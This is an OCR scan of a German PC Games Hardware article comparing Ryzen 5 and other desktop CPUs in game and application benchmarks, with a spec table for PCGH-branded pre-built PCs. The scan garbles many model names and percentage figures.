Intel Core i5-2500K (3,3+ GHz – 4c/4t) 
Intel Core i3-6100 (3,7 GHz - 2c/4t 

Intel Core i7-920 (2,7+ GHz - 4c/8t 

AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) 
Intel Pentium G4560 (3,5 GHz — 2с/4ї 
AMD FX-6300 (3,5+ GHz – 3m/6t) 

AMD Athlon X4 845 (3,5+ GHz — 2m/4t 
AMD A10-7870K (3,9-- GHz — 2m/4t 
AMD FX-4300 (3,8+ GHz – 2m/4t) 

AMD A10-7800 (3,5+ GHz — 2/41) 

Intel Pentium G4400 (3,3 GHz - 2c/2t 
AMD A8-7600 (3,1+ GHz — 2m/4t 

Intel Core 2 Quad 06600 (2,4 GHz — 4c/At) 
Intel Core 2 Duo E8500 (3,2 GHz - 2c/2t 
AMD Athl. 64 X2 6400+ (3,2 GHz — 2c/2t) 
Intel Pentium EE 965 (3,7 GHz - 2c/4t 


System: Intel X99/7170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


» Besser 


System: Intel X99/7170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimi @ Fps 


» Besser 
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PROZESSOREN | Ryzen 5 (Nachschlag) 


Moderne Strategie: Anno 2205 


Klassik-Strategie: Starcraft 2: LotV 


„Walbruck 67k“ (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-7700K (4,2+ GHz — 4c/8t) 


psg 40,3 (+61 %) 


„Zerg Rush” (720p, kein AA/AF/min. Post-Processing) 
Intel Core i7-7700K (4,2+ GHz – 4с/81) small 62,3 (+219 %) 


Intel Core i7-6700K (4,0+ GHz 4c/8t) 655 36,8 (+47 96) Intel Core i7-6700K (4,0+ GHz - 4c/Bt) [CR 54,9 (+182 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) ll 33,7 (+34 %) Intel Core i5-7600K (3,8+ GHz — 4c/4t) ШЕ) 49,6 (+154 %) 
Intel Core i7-4790K (4,0+ GHz – 4c/8t) ET 33,5 (+33 %) Intel Core i7-4790K (4,0+ GHz — 4с/81) og s 44, (+128 %) 
AMD Ryzen 7 1800X (3,6+ GHz - 8c/16t) il 31,6 (+26 %) Intel Core 15-7500 (3,4- GHz — 4c/4t) aaa ШЕШН 44,0 (+126 96) 
Intel Core i5-4690K (3,5+ GHz – 4c/4t) EEE 30,9 (+23 96) Intel Core 13-6100 (3,7 GHz – 2c/4t) ot 39,9 (+105 96) 
AMD Ryzen 5 1600X (3,6+ GHz - 6c/12t) MEEME] 30,7 (+22 %) Intel Core 15-7400 (3,0+ GHz — 4c/4t) Eg po 38,2 (+96 96) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) EN 30,5 (+22 %) Intel Pentium G4560 (3,5 GHz — 2с/41) EEE EN 36,9 (+89 %) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t) EEE 30,4 (+21 %) Intel Core i5-4690K (3,5+ GHz – 4с/41) Eig x 35,7 (+83 %) 
AMD Ryzen 5 1600 (3,2+ GHz - 6c/12t) BI 29,8 (+19 %) Intel Core i7-6800K (3,4+ GHz — 6c/12t) Em ER 33,7 (+73 %) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) [X38 29,3 (+17 96) AMD Ryzen 5 1600X (3,6+ GHz – 6c/12t) EXE 334 (+71 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) X3! 29,1 (+16 96) AMD Ryzen 7 1800X (3,6+ GHz – 816) Em pu 32,7 (+68 %) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) gi! 29,1 (+16 96) AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) [e p 31,1 (+59 %) 
Intel Core i5-7500 (3,44- GHz – 4с/41) gt 28,6 (+14 96) AMD Ryzen 7 1700X (3,44- GHz — 8c/16t) EEE | 30,4 (+56 96) 
Intel Core i7-2600K (3,4+ GHz - 480 cet 26,6 (+6 96) AMD Ryzen 5 1600 (3,2+ GHz — бс/121) BIS 28,0 (+43 96) 
AMD Ryzen 5 1400 (3,2+ GHz – 4с/81) ES 26,1 (+4 960) AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) Eig 27,1 (+39 %) 
Intel Core i5-7400 (3,0+ GHz – 4c/4t) [XXX 26,1 (+4 9) Intel Core i7-3770K (3,5+ GHz – 4с/81) EB pu 26,8 (+37 96) 
Intel Core i5-2500K (3,3+ GHz – 4c/4t) EA 25, 1 (Basis) AMD Ryzen 5 1400 (3,2+ GHz - 4c/8t) ВЕТО 22,8 (+17 96) 
AMD FX-9590 (4,7+ GHz – Am/8t) Eu! 24,7 (-2 %) Intel Core i7-2600K (3,4+ GHz — 4c/8t) COR 21,8 (+12 96) 
Intel Pentium G4560 (3,5 GHz — 2c/4t) gt 23,7 (-6 96) AMD FX-9590 (4,7+ GHz — Am/8t) ШО] ЕШ 19,7 (+1 96) 
Intel Core 13-6100 (3,7 GHz - 2с/41) att 23,4 (-7 %) Intel Core i5-2500K (3,3+ GHz - 4с/41) ШӘ] ЕШ 19,5 (Basis) 
AMD FX-8350 (4,0+ GHz – 4т/81) attt 22,1 (-12 90) AMD FX-8350 (4,0+ GHz – 4m/8t) EBEN 14,2 (-27 96) 
AMD FX-8300 (3,3+ GHz — 4m/8t) |o 21,4 (-15 96) AMD ЕХ-8300 (3,3+ GHz — 4m/8t) ШЕ 12,2 (-37 %) 
AMD FX-6300 (3,5+ GHz – 3m/6t) uii 20,9 (-17 96) AMD FX-6300 (3,5+ GHz – 3m/6t) ERES 11,4 (-42 %) 
Intel Core 17-920 (2,7+ GHz – 4c/8t) |i! 20,8 (-17 96) AMD Phen. Il X6 11007 (3,3+ GHz – 6c/6t) Ш 11,3 (-42 90) 
AMD Phen. Il X6 11007 (3,3+ GHz - 6c/6t) [Est 16,3 (-35 90) Intel Core i7-920 (2,7+ GHz — 4c/8t) ВЕБ 10,9 (-44 96) 
System: Intel X99/71 7012971277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 1МШЇ 2 Fps System: Intel Х99/2170/2971277, AMD X370/990FX,8 СІВ RAM pro Speicherkanal (Geschw. МЇ Ø Fps 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 10 64 Bit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 10 64 Bit 
Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. > Besser Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. > Besser 
Bildbearbeitung: Adobe Lightroom 5.7.1 Video-Umwandlung in Ultra-HD: x264 MT 
Raw-Fotoumwandlung (30 Bilder aus Nikon D800) 2160p-Clip (~60mbps), Profile High10 4:2:0, CRF22, Transcode 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) ME 105 (-44 %) AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) EEE 64,3 (-73 %) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) Eu 111 (-40 %) AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) EX 67,5 (-72 %) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) EEE 111 (40 %) AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) ШШШ 73,1 (-69 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) EEE 111 (-40 %) AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) EEE 54,2 (-64 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) Em 117 (-37 %) AMD Ryzen 5 1600 (3,2+ GHz – 6c/12t) [Xu 90,1 (-62 %) 
AMD Ryzen 5 1600 (3,2+ GHz — 6с/121). EEE 118 (-37 %) Intel Core i7-7700K (4,24- GHz – 4c/8t) EEE 93,7 (-60 %) 
Intel Core i7-7700K (4,2+ GHz – 4c/8t) EEE 118 (-37 %) Intel Core i7-6800K (3,4+ GHz — 6c/12t) В 96,9 (-59 %) 
AMD Ryzen 5 1500X (3,5+ GHz — 4c/8t) | 123 (-34 96) Intel Core i7-6700K (4,0+ GHz — 4c/8t) eu 102,0 (-57 %) 
Intel Core i7-6700K (4,0+ GHz – 4c/8t) | 127 (-32 %) Intel Core i7-4790K (4,0+ GHz – 4c/8t) | 121,6 (49 96) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) [XX 129 (-31 %) Intel Core i5-7600K (3,8+ GHz — 4c/4t) Xu 125,8 (47 %) 
Intel Core i7-4790K (4,0+ GHz – 4c/8t) [Xu 132 (-29 %) AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) Eu 126,2 (-47 96) 
Intel Core i5-7500 (3,4+ GHz — 4с/41) | 142 (C24 %) AMD FX-9590 (4,7+ GHz – 4m/8t) ШШШ 138,4 (-42 %) 
AMD FX-9590 (4,7+ GHz – 4т/81) Ew 146 (-22 %) Intel Core i5-7500 (3,4- GHz – 4с/41) [Xu 139,4 (-41 %) 
AMD Ryzen 5 1400 (3,2+ GHz - 4e,r.v.,,,aaaTaəasawsgyuy0a),wwiŠ 148 (-20 96) AMD Ryzen 5 1400 (3,2+ GHz - 4с/81) ESSE 141,8 (-40 96) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) Em 150 (-19 %) Intel Core i5-7400 (3,0+ GHz — 4c/4t) Eu 149,8 (-37 %) 
Intel Core i5-7400 (3,0+ GHz – 4c/4t) EEE 152 (-18 90) AMD FX-8350 (4,0+ GHz – 4m/8t) www 153,8 (-35 %) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) [Xm 154 (-17 96) Intel Core i5-4690K (3,5+ GHz — 4c/4t) Xu 162,6 (-31 96) 
AMD FX-8350 (4,0+ GHz – Am/8t) X 158 (-15 %) Intel Core i7-3770K (3,5- GHz – 4c/8t) EX 163,3 (31 94) 
Intel Core i7-2600K (3,44- GHz – 4c/8t) Eu 175 (-6 96) AMD FX-8300 (3,3+ GHz – 4т/81) m 182,6 (-23 90) 
AMD FX-8300 (3,3+ GHz – 4m/8t) E 177 (-5 96) Intel Core i7-2600K (3,44- GHz — 4c/8t) Ew 190,5 (-20 96) 
Intel Core i5-2500K (3,3+ GHz — 4c/4t) [E 186 (Basis) Intel Core i3-6100 (3,7 GHz - 2с/41) | 216,2 (-9 90) 
AMD FX-6300 (3,5+ GHz – 3m/6t) [XXX 196 (+5 96) AMD Phen. II X6 1100T (3,3+ GHz – 6c/6t) [Ew 226,0 (-5 96) 
AMD Phen. Il X6 11007 (3,3+ GHz – 6c/6t) Xu 206 (+11 96) AMD FX-6300 (3,5+ GHz – 3m/6t) E 227,3 (-4 96) 


Intel Core 13-6100 (3,7 GHz — 2c/4t 


Intel Core i7-920 


2,7+ GHz – 4с/8 


Intel Pentium G4560 (3,5 GHz — 2c/4t 


E 230 (+24 %) 
EU 233 (+25 %) 
Em 235 («26 %) 


Intel Core i5-2500K (3,3+ GHz — Ac/4t) EX 236,7 (Basis) 
Intel Pentium G4560 (3,5 GHz - 24) uu 250,0 (+6 96) 


Intel Core i7-920 (2,7+ GHz — 4c/8t) c 251,6 (+6 96) 


System: Intel Х99/2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
ikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 10 64 Bit 
Bemerkungen: Unter den CPUs bis 500 Euro ist der Ryzen (7-1800X) der Lightroom-Kónig. 


jeweils laut max. CPU-Spezi 


Sekunden 
< Besser 


System: Intel Х99/2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 10 64 Bit 
Bemerkungen: Neben Cinebench die Lieblingsdisziplin der Ryzen-CPUs: Video-Transcoding. 


Sekunden 
< Besser 
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2 neue PCGH-PCs 
mit GTX 1080 Ti 


Intel oder AMD? Den PCGH-Epic-PC gibt es jetzt wahlweise mit einem Intel Core i7- 
6800K (6 Kerne) oder einem AMD Ryzen 7 1800X (8 Kerne). 


is auf die CPU samt Kühler 
2» das Mainboard sind un- 
sere beiden neuen PCGH-Epic- 
PCs technisch identisch. Ein 
Highlight ist in beiden Rechnern 
sicherlich die Asus Geforce GTX 
1080 Ti Strix. Diese ist laut un- 
seren Benchmarks in Doom und 
The Witcher 3 um je zwólf Pro- 
zent schneller als die Founders 


ANZEIGE 


PCGH-PCS werden nur 
ail-Komponenten und 
um eine 


Info: Bei den 
hochwertige Ret T 
keine OEM-Produkte verbaut, il 
"hohe Qualitàt und einen niedrig 
Làrmpegel zu gewährleisten. 


Pro-512-GB-SSD kommt zudem 
die weltweit schnellste M.2-SSD 
zum Einsatz. Als Datenlager 
dient noch eine Crucial MX300 
mit einem Terabyte Speicher- 
platz. Da auf eine mechanische 
Festplatte verzichtet wurde, sind 
die PCs im 2D-Betrieb mit 0,2 
Sone kaum zu hören und auch 
unter Last steigt der Lärmpegel 


Edition. Mit der Samsung-960- 


auf maximal 0,6 Sone an. 


(dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


PCGH-Enthusiast-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Epic-PC 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/enthusiast2-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate-pc 


www.pcgh.de/epic1080ti-pc 


www.pcgh.de/ryzen1800x-pc 


Ausstattung 

Prozessor Intel Core i7-7700K (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) |Intel Core i7-6800K (Sockel 2011-3) Intel Core i7-6800K (Sockel 2011-3) AMD Ryzen 7 1800X 
Grafikkarte Asus GTX 1070 Strix OC Gaming Asus GTX 1080 Strix Advanced Geforce GTX 1080 (OC-Version) Asus Geforce GTX 1080 Ti Strix Asus Geforce GTX 1080 Ti Strix 
Mainboard Asus Prime 2270-А Asus Prime Z270-A Asus Strix X99 Gaming Asus Strix X99 Gaming Asus Crosshair VI Hero 
SSD-Laufwerk 525-GB-SSD (Crucial MX300) 525-GB-SSD (Crucial MX300) 1.050-GB-SSD (Crucial MX300) | 1 TB + 512 GB M.2 (Crucial/Samsung) | 1 TB + 512 GB M.2 (Crucial/Samsung) 
HDD-Laufwerk 2.000-GB-HDD (Seagate/WD Blue) 3.000-GB-HDD (WD Red) 3.000-GB-HDD (Toshiba DTO1ACA300) - - 


Speicher 


16 GB DDR4-2400 (Ballistix) 


16 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


Netzteil 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


CPU-Kühler 


Scythe Mugen 4 PCGH-Edition 


Scythe Mugen 4 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


Scythe Mugen 5 PCGH-Edition 


Gehäuse 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Laufwerk/Soundkarte 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Gehäuselüfter/Sonstiges 3 x Lüfter, WLAN-Karte 3 x Lüfter, WLAN-Karte З x Fractal-Lüfter, WLAN onboard 3 x Fractal-Lüfter, WLAN onboard 3 x Fractal-Lüfter, WLAN onboard 

Leistung 

Lautstärke 2D (0,5 m) 0,2 Sone/20 dB(A) 0,2 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 

Lautstärke 3D (0,5 m) 0,6 Sone/26 dB(A) 1,0 Sone/30 dB(A) 1,0 Sone/29 dB(A) 0,6 Sone/26 dB(A) 0,6 Sone/26 dB(A) 

Leistungsaufnahme 2D/3D 40 Watt/254 Watt 43 Watt/289 Watt 60 Watt/303 Watt 71 Watt/339 Watt 56 Watt/330 Watt 

3D Mark (Fire Strike) 4.567 (U), 8.472 (E), 16.186 (S) 5.378 (U), 10.025 (E), 18.505 (S) | 5.409 (U), 10.105 (E), 18.047 (S) | 7.086 (U), 13.165 (E), 20.599 (S) | 7.134 (U), 13.276 (E), 19.887 (S) 

Crysis 3/The Witcher 3 83 Fps/68 Fps 100 Fps/84 Fps 100 Fps/83 Fps 124 Fps/110 Fps 121 Fps/106 Fps 

Stalker: Call of Pripyat 205 Fps (Sun Shafts, Ultra, 4x AA) | 228 Fps (Sun Shafts, Ultra, 4x АА) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 220 Fps (Sun Shafts, Ultra, 4x AA) | 183 Fps (Sun Shafts, Ultra, 4x AA) 

Aliens vs Predator Bench. 248 Fps (1.920 x 1.080) 307 Fps (1.920 x 1.080) 302 Fps (1.920 x 1.080) 414 Fps (1.920 x 1.080) 411 Fps (1.920 x 1.080) 

Cinebench R11.5 x64 (CPU) 10,85 Punkte 10,88 Punkte 12,00 Punkte 12,05 Punkte 17,87 Punkte 
PREIS 

EE €1.929,- €2.149,- €2.599,- €2.999,- €3.049,- 

PREIS €2.029,- €2.249,- €2.699,- €3.119,- €3.149,- 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 


© Niedriger Stromverbrauch 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 


© Niedriger Stromverbrauch 


© 6-Kern-CPU und 1.050-GB-SSD 
© Geforce GTX 1080 als OC-Version 
© Hoher Stromverbrauch in 2D 


© Sehr schnelle GTX 1080 Ti 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 22.05.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 
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5 (Nachschlag) 


Multithread-Rennspiel F1 2015 


Rollenspiel: The Witcher 3 


„Stormy Spain" (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6800K (3,4+ GHz - 6c/12 
AMD Ryzen 7 1800X (3,6+ GHz – 8c/16 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16 

Intel Core i7-7700K (4,2+ GHz — 4c/8 

AMD Ryzen 7 1700 (3,0+ GHz - 8c/16 
AMD Ryzen 5 1600X (3,6+ GHz - 6с/12 

AMD Ryzen 5 1600 (3,2+ GHz — 6с/12 


Een 104,3 («151 90) 
Gw ms 7 (+123 %) 
pepe 91,0 («119 %) 
Gw GÁeoc;)BhE.] EE] 
EXE 8,6 (4113 90) 
psi 88,6 («113 90) 
mmu 6,6 (108 %) 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-7700K (4,2+ GHz - 4c/8t) u 125,5 (+99 96) 
Intel Core i7-6700K (4,0+ GHz – 4c/8t) tB 118,5 (+88 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) og c 118,3 (+87 96) 


AMD Ryzen 7 1800X (3,6+ GHz — 8c/16 


Intel Core i7-4790K (4,0-- GHz — 4c/8t) 


AMD Ryzen 7 1700X (3,4+ GHz — 8с/16 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/12: 


=G=———nWUNl 109,9 («74 %) 
pug 104,6 (66 %) 
) li 104,6 (4-66 %) 
) 9 104,0 (+65 96) 
) Ese 101,6 (61 %) 
) 
) 


) 
) 


) 
) 
) 
) 
) 
) 
) 
Intel Core i7-6700K (4,0+ GHz — 4c/8t) ВЕБ 79,7 (+92 %) AMD Ryzen 7 1700 (3,0+ GHz - 8c/16 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) EEE E 76,8 (+85 %) AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) Egi 8 101,6 (+61 96) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) Xs ШЕШ 71,2 (+71 %) Intel Core i7-3770K (3,5+ GHz – 4c/8t) gg 95,1 (+50 96) 
AMD Ryzen 5 1400 (3,2+ GHz – 4c/&t) ee 70,5 (+69 %) Intel Core i5-7600K (3,8- GHz – 4c/4t) EX 94,5 (+50 96) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) sa c 68,6 (+65 96) AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) gs 93,4 (+48 96) 
Intel Core i5-7600K (3,8+ GHz – 4с/41) Essi 68,1 (+64 96) Intel Core i5-7500 (3,4+ GHz — 4c/4t) si 89,1 (+41 96) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) Esq Eu 64,7 (+56 96) Intel Core i7-2600K (3,4+ GHz – 4c/8t) ek 84,3 (+33 %) 
AMD FX-9590 (4,7+ GHz – 4m/8t) pg p 61,3 (+47 90) Intel Core i5-7400 (3,0-- GHz – 4c/4t) go? 84,2 (+33 96) 
Intel Core 15-7400 (3,0+ GHz – 4c/4t) ag ШШШ 60,9 (+46 %) AMD Ryzen 5 1400 (3,2+ GHz — 4с/81) Tawasul 82,4 (+30 %) 
AMD FX-8350 (4,0+ GHz — Am/8t) agi ШЕШ 56,6 (+36 90) AMD FX-9590 (4,7+ GHz – 4m/8t) enn 81,0 (428 96) 
Intel Core i7-2600K (3,4+ GHz – 4c/8t) Em E 54,6 (+31 96) Intel Core i5-4690K (3,5+ GHz – 4c/4t) Est 79,9 (+26 %) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) agis 54,1 (+30 %) AMD FX-8350 (4,0+ GHz – 4m/8t) mtt 76,4 (+21 96) 
AMD FX-8300 (3,3+ GHz – Am/8t) Exam Es 54,0 (+30 96) AMD FX-8300 (3,3+ GHz – 4m/8t) ser 70,5 (+12 90) 
Intel Core 13-6100 (3,7 GHz — 2с/41) Eg 49,5 (+19 96) Intel Core i3-6100 (3,7 GHz — 2с/41) seat 68,0 (+8 96) 
Intel Core i7-920 (2,7+ GHz – 4с/81) EBEN 48,6 (+17 96) Intel Pentium G4560 (3,5 GHz - 2c/4t) ЕСО 65,4 (+3 96) 
Intel Pentium G4560 (3,5 GHz – 2c/4t) E38 E 48,2 (+16 96) Intel Core i5-2500K (3,3+ GHz - 4с/41) Xs 63,2 (Basis) 
AMD FX-6300 (3,5+ GHz- 3m/6t) Eas 42,5 (+2 90) Intel Core 17-920 (2,7+ GHz – 4c/8t) Xs; 60,8 (-4 %) 
Intel Core i5-2500K (3,3+ GHz - 4с/41) Gg [| 41,6 (Basis) AMD FX-6300 (3,5+ GHz - 3m/6t) ШБ 60,5 (-4 96) 
AMD Phen. II X6 1100T (3,3+ GHz — 6c/6t) ШО 28,9 (-31 96) AMD Phen. II X6 11007 (3,3+ GHz – 6c/6t) agn 49,3 (-22 %) 
System: Intel X99/71 702971777, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. MIR 2 Fps System: Intel Х99/2170/2971277, AMD X370/990FX,8 СІВ RAM pro Speicherkanal (Geschw. (XT 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. > Besser 64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. > Besser 
мно тит" ; 
PROZESSOREN ачте\ 


Auszug aus Testtabelle 


mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 


Preis/Preis-Leistungs-Verhàltnis (Schulnote) 


www.pcgh.de/preis/1582191 


AMD Ryzen 7 1700X 
www.pcgh.de/preis/1582190 


AMD Ryzen 7 1700 
www.pcgh.de/preis/1582201 


AMD Ryzen 5 1600X 
www.pcgh.de/preis/1604881 


Ca. 500 EI. voll mangelhaft" (5+) 


Ca. 380 €/, knapp ausreichend" (4-) 


Ca. 315 €/, ausreichend" (4) 


Ca. 255 EI. voll ausreichend" (4+) 


Für Mainboards mit Sockel ... 


AMA (Sockel 1331) 


AMA (Sockel 1331) 


AMA (Sockel 1331) 


AMA (Sockel 1331) 


Codename 


Summit Ridge Summit Ridge 


Summit Ridge 


Summit Ridge 


Anzahl Kerne/Module, Uncore-/L3-Takt 


8 (16), wie Speicher-/Kerntakt 


8 (16), wie Speicher-/Kerntakt 


8 (16), wie Speicher-/Kerntakt 


6 (12), wie Speicher-/Kerntakt 


Basistakt (Turbo für alle und einen Kern) 


3,6 GHz (3,7-4,1 GHz) 


3,4 GHz (3,5-3,9 GHz) 


3,0 GHz (3,2-3,75 GHz) 


3,6 GHz (3,7-4,1 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


512 KiByte/16 MiByte 


512 KiByte/16 MiByte 


512 KiByte/16 MiByte 


512 KiByte/16 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


4,8 Mrd., 14 nm, unbekannt 
2,14 
Nicht vorhanden 


2,14 


4,8 Mrd., 14 nm, unbekannt 


Nicht vorhanden 


2,14 
Nicht vorhanden 


4,8 Mrd., 14 nm, unbekannt 


4,8 Mrd., 14 nm, unbekannt 
2,14 
Nicht vorhanden 


Befehlssätze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 


20x PCI-Express 3.0 (+4 für l/O-Hub) 


20x PCI-Express 3.0 (+4 für /O-Hub) 


20x PCI-Express 3.0 (+4 für 1/0-Нир) 


20x PCI-Express 3.0 (+4 für l/O-Hub) 


Eigenschaften (20 % der Endnote) 1,74 1,73 1,71 1,86 

Offener Multiplikator* Ja (bis 63,75) Ja (bis 63,75) Ja (bis 63,75) Ja (bis 63,75) 
Übertaktung per Referenztakt?* Ja Ja Ja Ja 
Speicherkanäle (u. max. Geschwindigkeit*/**) 2x DDR4-2667 Single-Rank/-2400 Dual-R. |2x DDR4-2667 Single-Rank/-2400 Dual-R. | 2x DDR4-2667 Single-Rank/-2400 Dual-R. |2x DDR4-2667 Single-Rank/-2400 Dual-R. 
TDP laut Hersteller** 95 Watt 95 Watt 65 Watt 95 Watt 
Systemverbrauch Leerlauf abzüglich Grafikkarte |28 Watt 28 Watt 28 Watt 28 Watt 
Systemverbrauch (Anno/C3/TW3)** 224/326/281 Watt 218/315/274 Watt 206/296/262 Watt 222/317/276 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 264 Watt 256 Watt 244 Watt 261 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |182 Watt 169 Watt 157 Watt 166 Watt 
Leistung (60 % der Endnote) 174 1,89 2,06 2,04 
Spieleindex (60 % der Leistungsnote) 80,3 % 71,3 % 74,1 96 78,7 % 
Anwendungsindex (40 96 der Leistungsnote) 85,2 % 80,9 96 75,3 % 69,6 % 


FAZIT 


© Ab Werk schnellste Ryzen-CPU,die mit 
Intels 1.100-Euro-Modellen konkurriert 


© Aufpreis ggü. anderen R7 zu hoch 


Wertung: 1,82 
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© Guter Ryzen-7-Kompromiss aus Preis 
und Leistung ohne OC 
© РІМ schlechter als beim R7-1700 


Wertung: 1,90 


© Noch sehr hohe Multi-Thread-Leistung © Hoher Werkstakt gleicht 2 fehlende 
© Relativ hohes OC-Potenzial, da... 
©... ab Werk recht niedriger Takt 


Wertung: 2,01 


Kerne ggü. R7-1700 oft mehr als aus 
© Aufpreis ggü. R5-1600 hoch 


Wertung: 2,02 


www.pcgameshardware.de 


Ryzen 5 (Nachschlag) | PROZESSOREN 


nern bietet er ein um mehr als 75 % 
besseres Preis-Leistungs-Verhält- 
nis, schlägt aber auch noch Core 
i7-7700K (+47 % PLV-Index) und 
den nur wenig teureren i5-7600K 
(+26 % PLV-Index). 


Die beiden R5-Quadcores R5-1500X 
und R5-1400 nehmen sich aus 
Preis-Leistungs-Sicht derzeit kaum 
etwas. Mit einem PLV-Index von 
44,8 % lassen sie die günstigeren, 
SMT-losen und zudem nicht über- 
taktbaren Intel-Quads um rund 10 
